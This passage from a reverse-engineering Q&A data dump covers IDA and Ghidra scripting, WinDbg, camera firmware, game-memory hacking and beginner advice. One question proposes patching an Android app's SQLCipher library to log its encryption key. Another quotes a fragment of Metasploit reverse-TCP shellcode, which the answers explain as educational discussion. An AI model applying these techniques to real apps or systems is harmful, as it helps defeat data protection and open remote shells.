&amp;quot;C:\Users\user1\AppData\Local\Programs\Python\Python37-32\python3.dll&amp;quot;: DLLs in directory &amp;quot;C:\Users\user1\AppData\Local\Programs\Python\Python37-32&amp;quot; do not have the x86_64 architecture&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How can I change it, I don't understand what is the problem with the architecture of the files?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2022-03-22T03:38:44.443" Title="How to change IDA to use Python 3.7 and not Python 2.7: &quot;do not have the x86_64 architecture&quot;" Tags="|ida|idapython|ida-plugin|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25974" PostTypeId="2" ParentId="25938" CreationDate="2020-09-25T18:09:39.160" Score="1" Body="&lt;p&gt;Really need more info from you to be useful. What's the camera? What's the larger bin file that &lt;code&gt;app.img&lt;/code&gt; came from? How did you extract &lt;code&gt;app.img&lt;/code&gt; from that bin file with &lt;code&gt;binwalk&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;That said, I took a brief look. &lt;code&gt;app.img&lt;/code&gt; is ARM little endian, probably v7, and you can load it into Ghidra. I'm not sure what the base address is. From googling an identifying string in the binary (&lt;code&gt;hi3518ev300&lt;/code&gt;), I came across some links that may prove useful.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hisilicon.com/-/media/Hisilicon/pdf/Surveillance_mobilecam/Hi3518EV300.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hisilicon.com/-/media/Hisilicon/pdf/Surveillance_mobilecam/Hi3518EV300.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://sasecurity.fandom.com/wiki/Hi3518E_IP_Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://sasecurity.fandom.com/wiki/Hi3518E_IP_Camera&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://web.archive.org/web/20180418081631/https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web.archive.org/web/20180418081631/https://felipe.astroza.cl/hacking-hi3518-based-ip-camera/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cdn.hackaday.io/files/19356828127104/Hi3518%20DataSheet.pdf&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/JanLoebel/b5dafcda555323785d32ccb7d643dbcd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/JanLoebel/b5dafcda555323785d32ccb7d643dbcd&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/gabonator/3d2bc36e9eb62c52742d45113126c1ba&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/gabonator/3d2bc36e9eb62c52742d45113126c1ba&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/PeterEmbedded/Hi3518E-IP-Camera&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/PeterEmbedded/Hi3518E-IP-Camera&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://marcusjenkins.com/hacking-cheap-ebay-ip-camera/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://marcusjenkins.com/hacking-cheap-ebay-ip-camera/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.burglaryalarmsystem.com/technology-news/china-ip-camera-configuration-firmware.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.burglaryalarmsystem.com/technology-news/china-ip-camera-configuration-firmware.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18563" LastActivityDate="2020-09-25T18:09:39.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25975" PostTypeId="2" ParentId="25960" CreationDate="2020-09-25T18:55:40.517" Score="2" Body="&lt;p&gt;as i commented i used windbg to dump those structures&lt;/p&gt;&#xA;&lt;p&gt;sample code used for walk through&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;                                                     //01&#xA;#include &amp;lt;list&amp;gt;                                                         //02&#xA;#include &amp;lt;vector&amp;gt;                                                       //03&#xA;#include &amp;lt;map&amp;gt;                                                          //04&#xA;#include &amp;lt;queue&amp;gt;                                                        //05&#xA;#include &amp;lt;string&amp;gt;                                                       //06&#xA;int main(void)                                                          //07&#xA;{                                                                       //08&#xA;    std::string             ms;                                         //09&#xA;    std::wstring            mw;                                         //10&#xA;    std::map&amp;lt; char,int &amp;gt;    mm;                                         //11&#xA;    std::vector&amp;lt;int&amp;gt;        mv1,mv2,mv3,mv4;                            //12&#xA;    std::queue&amp;lt;std::vector&amp;lt;int&amp;gt;&amp;gt; mq;                                    //13&#xA;                                                                        //14&#xA;    ms = &amp;quot;This is a big Ascii string for that matter to avoid sso&amp;quot;;     //15&#xA;    mw = L&amp;quot;This is a big Wide string for that matter to avoid sso&amp;quot;;     //16&#xA;    mm = {{'a',0x61},{'b',0x62},{'c',0x63},{'d',0x64}};                 //17&#xA;    mv1.insert(mv1.end(), {mm['a'],mm['b'],mm['c'],mm['d']});           //18&#xA;    mv2.insert(mv2.end(), {mm['b'],mm['c'],mm['a'],mm['d']});           //19&#xA;    mv3.insert(mv3.end(), {mm['d'],mm['b'],mm['a'],mm['c']});           //20&#xA;    mv4.insert(mv4.end(), {mm['c'],mm['b'],mm['a'],mm['d']});           //21&#xA;    mq.push(mv1);                                                       //22&#xA;    mq.push(mv2);                                                       //23&#xA;    mq.push(mv3);                                                       //24&#xA;    mq.push(mv4);                                                       //25&#xA;    std::cout &amp;lt;&amp;lt; ms &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                                            //26&#xA;    std::wcout &amp;lt;&amp;lt; mw &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                                           //27&#xA;    std::cout &amp;lt;&amp;lt; mm.begin()-&amp;gt;first &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                             //28&#xA;    std::cout &amp;lt;&amp;lt; *mv1.begin() &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                                  //29&#xA;    std::cout &amp;lt;&amp;lt; *mq.front().begin() &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                           //30&#xA;    std::cout &amp;lt;&amp;lt; *mq.back().begin() &amp;lt;&amp;lt; &amp;quot;\n&amp;quot;;                            //31&#xA;}                                                                       //32&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;compiled and linked on vs2017 devcmd prompt as x86 with&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt;cat complink.bat&#xA;pushd .&#xA;call &amp;quot;c:\Program Files\Microsoft Visual Studio\2017\Community\Common7\Tools\vsdevcmd.bat&amp;quot;&#xA;popd&#xA;cl /Zi /W4 /analyze /EHsc /nologo /Od nsstd.cpp /link /release&#xA;:&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;load it in windbg execute till line 26 to initialize all the variables.&lt;br /&gt;&#xA;run the script given below to dump the queue's-&amp;gt;vector's-&amp;gt;maps's-&amp;gt;integer values and quit.&lt;/p&gt;&#xA;&lt;p&gt;windbg script&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.for(r$t0=0;@$t0&amp;lt;4;r$t0=@$t0+1) &#xA;{&#xA;    .for(r $t1=0;@$t1&amp;lt;4;r$t1 =@$t1+1) &#xA;    {&#xA;        .printf &amp;quot;%c\t&amp;quot; , @@c++( mq.c._Mypair._Myval2._Map[@$t0]-&amp;gt;_Mypair._Myval2._Myfirst[@$t1] )&#xA;    }&#xA;    .printf &amp;quot;\n&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;result&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;:&amp;gt;cdb -c &amp;quot;g `nsstd!nsstd.cpp:26`;$$&amp;gt;a&amp;lt; dumpq.wds;q&amp;quot; nsstd.exe | awk &amp;quot;/Reading/,/quit/&amp;quot;&#xA;0:000&amp;gt; cdb: Reading initial command 'g `nsstd!nsstd.cpp:26`;$$&amp;gt;a&amp;lt; dumpq.wds;q'&#xA;WARNING: Line information loading disabled&#xA;ModLoad: 6c700000 6c703000   C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL&#xA;a       b       c       d&#xA;b       c       a       d&#xA;d       b       a       c&#xA;c       b       a       d&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2020-09-25T18:55:40.517" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25979" PostTypeId="1" AcceptedAnswerId="25983" CreationDate="2020-09-26T21:50:37.697" Score="2" ViewCount="497" Body="&lt;p&gt;I'm new in reversing and I'd like a lot to learn about it. I have little to no knowledge about it. Is still worth to learn x86 Assembly? Since almost everything these days work on x64 architecture. What would be your advice for someone who's starting out just like me? Some books, guides, tips, what to learn and what not, and why... (I'm manly interested in game hacking, I also have an intermediate level of Python and C#).&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="34510" LastActivityDate="2020-10-04T12:14:05.383" Title="How to start out in reversing?" Tags="|windows|python|c#|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25980" PostTypeId="1" CreationDate="2020-09-27T07:15:58.317" Score="1" ViewCount="315" Body="&lt;p&gt;I was trying to extract data from an Android app which uses SQLcipher. SQLcipher is an extension of SQLite that encrypts database files with 256-bit AES.&lt;/p&gt;&#xA;&lt;p&gt;Within the APK, the library lies in &lt;code&gt;lib/libsqlcipher.so&lt;/code&gt;. I'm curious if I can extract the encryption key simply by modifying &lt;code&gt;libsqlcipher.so&lt;/code&gt;(e.g. modify &lt;code&gt;sqlite3_key&lt;/code&gt; function so that it logs the encryption key to file). The plan is to compile my own version of &lt;code&gt;libsqlcipher.so&lt;/code&gt;, repack APK, install it, and run it on a device.&lt;/p&gt;&#xA;&lt;p&gt;Will this method work as expected? It sounds too easy to be true:)&lt;/p&gt;&#xA;" OwnerUserId="34513" LastActivityDate="2020-10-28T02:04:55.467" Title="Is it possible to work around SQLcipher by modifying libsqlcipher.so?" Tags="|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25981" PostTypeId="1" AcceptedAnswerId="25992" CreationDate="2020-09-27T09:17:27.550" Score="1" ViewCount="243" Body="&lt;p&gt;I saw &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/blob/e6a741011fed35d97ceb734e1b31e6e58507a9a3/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm#L41&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; shellcode and when they use the &lt;code&gt;connect&lt;/code&gt; function they pass the port number 4444:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;set_address:&#xA;  push byte 0x05         ; retry counter&#xA;  push 0x0100007F        ; host 127.0.0.1&#xA;  push 0x5C110002        ; family AF_INET and port 4444&#xA;  mov esi, esp           ; save pointer to sockaddr struct&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or in &lt;a href=&quot;https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;other website&lt;/a&gt; like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0000001A      push dword 0x5c110002   ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But they push &lt;code&gt;0x5C110002&lt;/code&gt;, how they extract 4444 from &lt;code&gt;0x5C110002&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-09-28T00:30:43.070" Title="How to extract port number from shellcode" Tags="|assembly|shellcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25982" PostTypeId="2" ParentId="25981" CreationDate="2020-09-27T09:23:43.793" Score="0" Body="&lt;p&gt;I found &lt;a href=&quot;https://www.exploit-db.com/exploits/39152&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; how to convert it with python.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import socket&#xA;port = 4444&#xA;hex(socket.htons(port))&#xA;Result : 0x5c11 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The opposite is like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;socket.htons(0x5c11)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2020-09-27T09:23:43.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25983" PostTypeId="2" ParentId="25979" CreationDate="2020-09-27T12:18:08.267" Score="3" Body="&lt;p&gt;I'm starting in RE too (since beggining of 2020), and I thought I could put here what I've learned so far. Maybe it might be of help.&lt;/p&gt;&#xA;&lt;p&gt;So first of all, you need Assembly knowledges. You asked if it's still worth to learn x86 because there is x64 now. Well, that's a thing I learned too. x64 is just an extension of x86. The real name for x64 is actually x86_64. I learned Intel 8086 Assembly (university) with the help of EMU8086 (old program that emulates 8086 processor in which you can assembly Assembly programs and debug them - I'd recommend you to use MASM or another one to get real feeling of it, because you can write a program on the emulator like 2 MOVs and an INT and it will run, without sections and whatever --&amp;gt; and that's wrong, it just allows you not to write those things and it will for you, but then you don't learn everything).&lt;/p&gt;&#xA;&lt;p&gt;If you learn 8086 Assembly (which is a 16-bit processor), it should give you many insights of how modern programs work. Won't give you everything though. Will help with the instructions as some didn't change much (maybe more things that I don't know), but won't help you make a program in Assembly. For that you need to learn more deeply about 32-bit and maybe 64-bit Assembly programming (something I haven't done yet) - as a start, you don't have direct access to hardware in 32/64 bits as you do in 16-bit.&lt;/p&gt;&#xA;&lt;p&gt;Then you need a Disassembler (I love IDA - there's a free version: IDA 7.0 Freeware). Code some simple (or not?) programs in C and then disassemble them and see how they were made. If you want to go more than that, find simple programs on the Internet, compile them without looking and try to translate to C. That helped me. I had programs I had coded for university classes that I didn't remember anymore, so I used those.&lt;/p&gt;&#xA;&lt;p&gt;You might also want to learn about how a PE executable is made, if you'll work on Windows. I'm just learning about that. I'm reading a book called &amp;quot;Portable Executable File Format - A Reverse Engineer View&amp;quot;. No idea if it's good or not, but it's telling me cool things about how they're made, like headers and sections, which was something on my list to learn. If you want to change a program, like adding or removing functionality, you may need to mess with the header - unless you just patch some bytes on it without changing the size of the file in any way. Then there's no need to mess with the header (I've patched a file like that a month ago as the first and only time for now - was AWSOME!!!).&lt;/p&gt;&#xA;&lt;p&gt;You could also learn Binary Exploitation, but not sure if that's what you want. If you do want this, I could recommend you an YouTube channel as a beggining to it: LiveOverflow, with this playlist: &lt;a href=&quot;https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&lt;/a&gt;. He has some more playlists on exploitation, by that way. That's applying old exploits though, but it's an introduction (was to me, at least, even though I stopped because I want to patch programs to improve them for now and not exploit them in real-time - that's after I learn how to patch, as it seems more advanced).&lt;/p&gt;&#xA;&lt;p&gt;By the way, I wrote this in the order I did the things (except exploitation and learning about PE format, but the order I wrote it should have been the one I'd have used - too excited that I just started with the videos hahaha).&lt;/p&gt;&#xA;&lt;p&gt;Of course, this is a begginer's answer. So a more &amp;quot;professional&amp;quot; answer probably is better. But I just wanted to say what I've done as a begginer's view of 2020 in learning RE, even if wrong in any (or more) aspects (&lt;em&gt;please correct me if anything I said is wrong&lt;/em&gt;). Hope this helps in any way! This was big hahaha.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; I forgot something up there, but I'll put it here. You need to learn C... Maybe even BEFORE Assembly, like I did (university classes order). Go deep enough to go to pointers. See how that works. Make linked lists, for example. Or binary trees. Go to that level (do everything you need to learn before that, of course, but get to that). Then start Assembly and you shall see better what's happening behind the scenes when you make the programs you made to train on C.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Since you said &amp;quot;game hacking&amp;quot;, seems a good place to say it... PLEASE don't hack to the bad part. Make cool mods, or whatever you'd like to do (I love mods on games). But don't make them online or something, or if you do, don't put stupid options... On PS3, GTA 5 Online is awful. Being able to lower levels of others, take stuff from them (give them stuff too, but it's possible to take which is worse and I'd prefer I could do none in that case) - BAN accounts without authorization from Rockstar... That's, I don't even have a word... Don't get to that...&lt;/p&gt;&#xA;" OwnerUserId="30468" LastEditorUserId="30468" LastEditDate="2020-10-04T12:14:05.383" LastActivityDate="2020-10-04T12:14:05.383" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25984" PostTypeId="1" CreationDate="2020-09-27T11:46:17.920" Score="3" ViewCount="1556" Body="&lt;p&gt;I find a pointer of my health so a function would have made the pointer and put the health in it (tell me if I'm wrong) how do I look for the function?&lt;/p&gt;&#xA;&lt;p&gt;Note,&#xA;as comments point out: health - I talk about a games health. So Health points. I want to find the function that handles this.&lt;/p&gt;&#xA;" OwnerUserId="34515" OwnerDisplayName="Hacker Boy" LastEditorUserId="34514" LastEditDate="2023-01-17T10:28:40.237" LastActivityDate="2023-01-17T10:28:40.237" Title="find cheat engine pointers in ghidra" Tags="|memory|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25985" PostTypeId="2" ParentId="25984" CreationDate="2020-09-27T11:56:00.520" Score="1" Body="&lt;p&gt;Correct me if I'm wrong about my understanding of what you want to achieve:&#xA;Find a specific memory address in a running application(I assume a game? becuase you're talking about health, so I guess health-points?)&#xA;If so, have you found the address already in cheat engine?&#xA;If yes, you can search for strings/values in both Cheat Engine and in Ghidra.&lt;/p&gt;&#xA;&lt;p&gt;described in this article, &lt;a href=&quot;https://blogs.blackberry.com/en/2019/07/an-introduction-to-code-analysis-with-ghidra&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra code analysis&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Investigate a String Reference&#xA;Figure 13: View string references&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34514" OwnerDisplayName="William Martens" LastActivityDate="2020-09-27T11:56:00.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25986" PostTypeId="2" ParentId="25984" CreationDate="2020-09-27T12:44:24.377" Score="2" Body="&lt;p&gt;Not sure if I understand you correctly. If you want to find a function that edits your player health (and possibly find a static address of for example player class) you can just simply right click the address of health you found, then click &lt;code&gt;Find out what writes to this address&lt;/code&gt;. All addresses (in the middle of some function) that written to your health will be listed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xymoh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xymoh.png&quot; alt=&quot;Cheat Engine&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can then copy the address that belongs to some function and inspect the function in for example Ghidra.&lt;/p&gt;&#xA;" OwnerUserId="21109" LastActivityDate="2020-09-27T12:44:24.377" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="25988" PostTypeId="2" ParentId="13376" CreationDate="2020-09-27T16:49:43.763" Score="1" Body="&lt;p&gt;The comms on the PQ(E) bus are similar to the XY(E), just with only 10-byte messages.&#xA;You can sniff the RS-485 traffic with an RS-485 - USB dongle and some serial monitor, connect the A-B lines of the dongle to the bus.&#xA;A short example, captured with ioninja:&lt;/p&gt;&#xA;&lt;p&gt;12:36:56 +01:04.353 &amp;gt; 00c8  aa 00 02 00 00 00 00 00 fe 55  .........U&lt;br /&gt;&#xA;12:36:56 +01:04.420 &amp;gt; 00d2  aa 01 02 50 1f 01 00 00 8d 55  ...P.....U&lt;br /&gt;&#xA;12:36:58 +01:06.676 &amp;gt; 00dc  aa 00 02 1f 00 00 01 00 de 55  .........U&lt;br /&gt;&#xA;12:36:58 +01:06.748 &amp;gt; 00e6  aa 01 02 50 1f 01 00 00 8d 55  ...P.....U&lt;br /&gt;&#xA;12:37:01 +01:09.000 &amp;gt; 00f0  aa 00 02 1f 00 04 01 00 da 55  .........U&lt;br /&gt;&#xA;12:37:01 +01:09.068 &amp;gt; 00fa  aa 01 02 50 1f 01 00 00 8d 55  ...P.....U&lt;br /&gt;&#xA;12:37:03 +01:11.322 &amp;gt; 0104  aa 00 02 1f 00 04 01 00 da 55  .........U&lt;br /&gt;&#xA;12:37:03 +01:11.391 &amp;gt; 010e  aa 01 02 50 1f 01 00 00 8d 55  ...P.....U&lt;br /&gt;&#xA;12:37:05 +01:13.644 &amp;gt; 0118  aa 00 02 1f 00 04 01 00 da 55  .........U&lt;/p&gt;&#xA;" OwnerUserId="34517" LastEditorUserId="34517" LastEditDate="2020-09-30T07:35:53.043" LastActivityDate="2020-09-30T07:35:53.043" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25989" PostTypeId="1" AcceptedAnswerId="25991" CreationDate="2020-09-27T19:05:42.073" Score="3" ViewCount="1177" Body="&lt;p&gt;I have a following program:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;int b2[4];&#xA;int foo()&#xA;{&#xA;  static int b2[10];&#xA;  b2[5] = 4;&#xA;}&#xA;int main()&#xA;{&#xA;  static int b2[10];&#xA;  int b[5];&#xA;  b[0] = 1;&#xA;  b2[9] = 4;&#xA;  int *ptr = b;&#xA;  int c = *(ptr + 10);&#xA;  foo();&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to distinguish between different b2 arrays defined in functions foo, main and globally. I can collect all the symbols using:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))&#xA;    for s in symbols:&#xA;        print(s.getName())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But, there is no way to distinguish between static (in functional namespace) and global symbols.&lt;/p&gt;&#xA;&lt;p&gt;Ghidra GUI shows me something like:&#xA;b2.1913 &amp;lt;- main , b2.1917 &amp;lt;- foo, b2 &amp;lt;- global.&lt;/p&gt;&#xA;&lt;p&gt;Thus I can easily distinguish between these symbols using GUI.&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advanced for your help.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-09-27T19:34:29.210" LastActivityDate="2023-05-22T02:30:36.250" Title="ghidra scripting: how to distinguish between function and global symbol" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25991" PostTypeId="2" ParentId="25989" CreationDate="2020-09-27T21:25:17.223" Score="3" Body="&lt;p&gt;The &lt;code&gt;Symbol&lt;/code&gt; object has a couple different ways you could go about this. Here are a few options.&lt;/p&gt;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))&#xA;for s in symbols:&#xA;    if s.getName() == &amp;quot;b2&amp;quot;:&#xA;        print(s.getName(), s.getName(True), s.getParentSymbol().getName(), s.getParentNamespace())&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;GetSymbolType.py&amp;gt; Running...&#xA;(u'b2', u'b2', u'global', Global)&#xA;(u'b2', u'foo()::b2', u'foo()', foo())&#xA;(u'b2', u'main::b2', u'main', main)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Explanation:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;s.getName(true)&lt;/code&gt; - Includes the parent namespace in the output (you'll notice that for global symbols, this has no effect)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s.getParentSymbol().getName()&lt;/code&gt;, name of the parent &lt;code&gt;Symbol&lt;/code&gt;, which will be the namespace &lt;code&gt;Symbol&lt;/code&gt; that contains &lt;code&gt;s&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s.getParentNamespace()&lt;/code&gt; - return the parent &lt;code&gt;Namespace&lt;/code&gt; object&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;More details in the &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/Symbol.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18563" LastEditorUserId="18563" LastEditDate="2023-05-22T02:30:36.250" LastActivityDate="2023-05-22T02:30:36.250" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25992" PostTypeId="2" ParentId="25981" CreationDate="2020-09-28T00:30:43.070" Score="2" Body="&lt;p&gt;The &lt;code&gt;connect&lt;/code&gt; syscall takes a &lt;code&gt;sockaddr&lt;/code&gt; structure as an argument, which looks something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;struct sockaddr_in {&#xA;        short   sin_family;&#xA;        u_short sin_port;&#xA;        struct  in_addr sin_addr;&#xA;        char    sin_zero[8];&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;They aren't extracting 4444, it's simply passed on the stack as a two-byte short. You are passing to &lt;code&gt;connect&lt;/code&gt;, in little-endian order:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;sin_family: 0x0002 (AF_INET)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sin_port: 0x5c11 (4444 in hex, little endian)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sin_addr: 0x0100007F ([127] [0] [0] [1], little endian)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21876" LastActivityDate="2020-09-28T00:30:43.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25994" PostTypeId="2" ParentId="25249" CreationDate="2020-09-28T04:14:08.883" Score="9" Body="&lt;p&gt;This is annoyingly hard to find the answer to. This is a good starting point, but I don't think I found everything yet.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Variable names&#xA;&lt;ol&gt;&#xA;&lt;li&gt;From &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/0cdc722921cef61b7ca1b7236bdc21079fd4c03e/Ghidra/Framework/SoftwareModeling/src/main/java/ghidra/program/model/listing/Function.java#L39&quot; rel=&quot;noreferrer&quot;&gt;Function.java&lt;/a&gt;:&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;param_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;local_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;local_res&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;temp_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;From &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/0cdc722921cef61b7ca1b7236bdc21079fd4c03e/Ghidra/Features/Decompiler/src/decompile/cpp/database.cc#L2330&quot; rel=&quot;noreferrer&quot;&gt;database.cc&lt;/a&gt; &amp;lt;-- this function has most (maybe all?) of the variable naming logic. There are multiple pieces of this function that I don't yet understand; I'm pretty confident there are additional variable naming conventions hiding in there.&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;unaff_retaddr&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;unaff_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;in_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;param_&lt;/code&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;While also referenced in &lt;code&gt;Function.java&lt;/code&gt;, I believe this is where the name is actually generated.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;extraout_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Var&lt;/code&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Seems to usually be prefixed by something else (like &lt;code&gt;i&lt;/code&gt; in your example)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;I think &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/0cdc722921cef61b7ca1b7236bdc21079fd4c03e/Ghidra/Features/Decompiler/src/decompile/cpp/varmap.cc#L407&quot; rel=&quot;noreferrer&quot;&gt;this function in 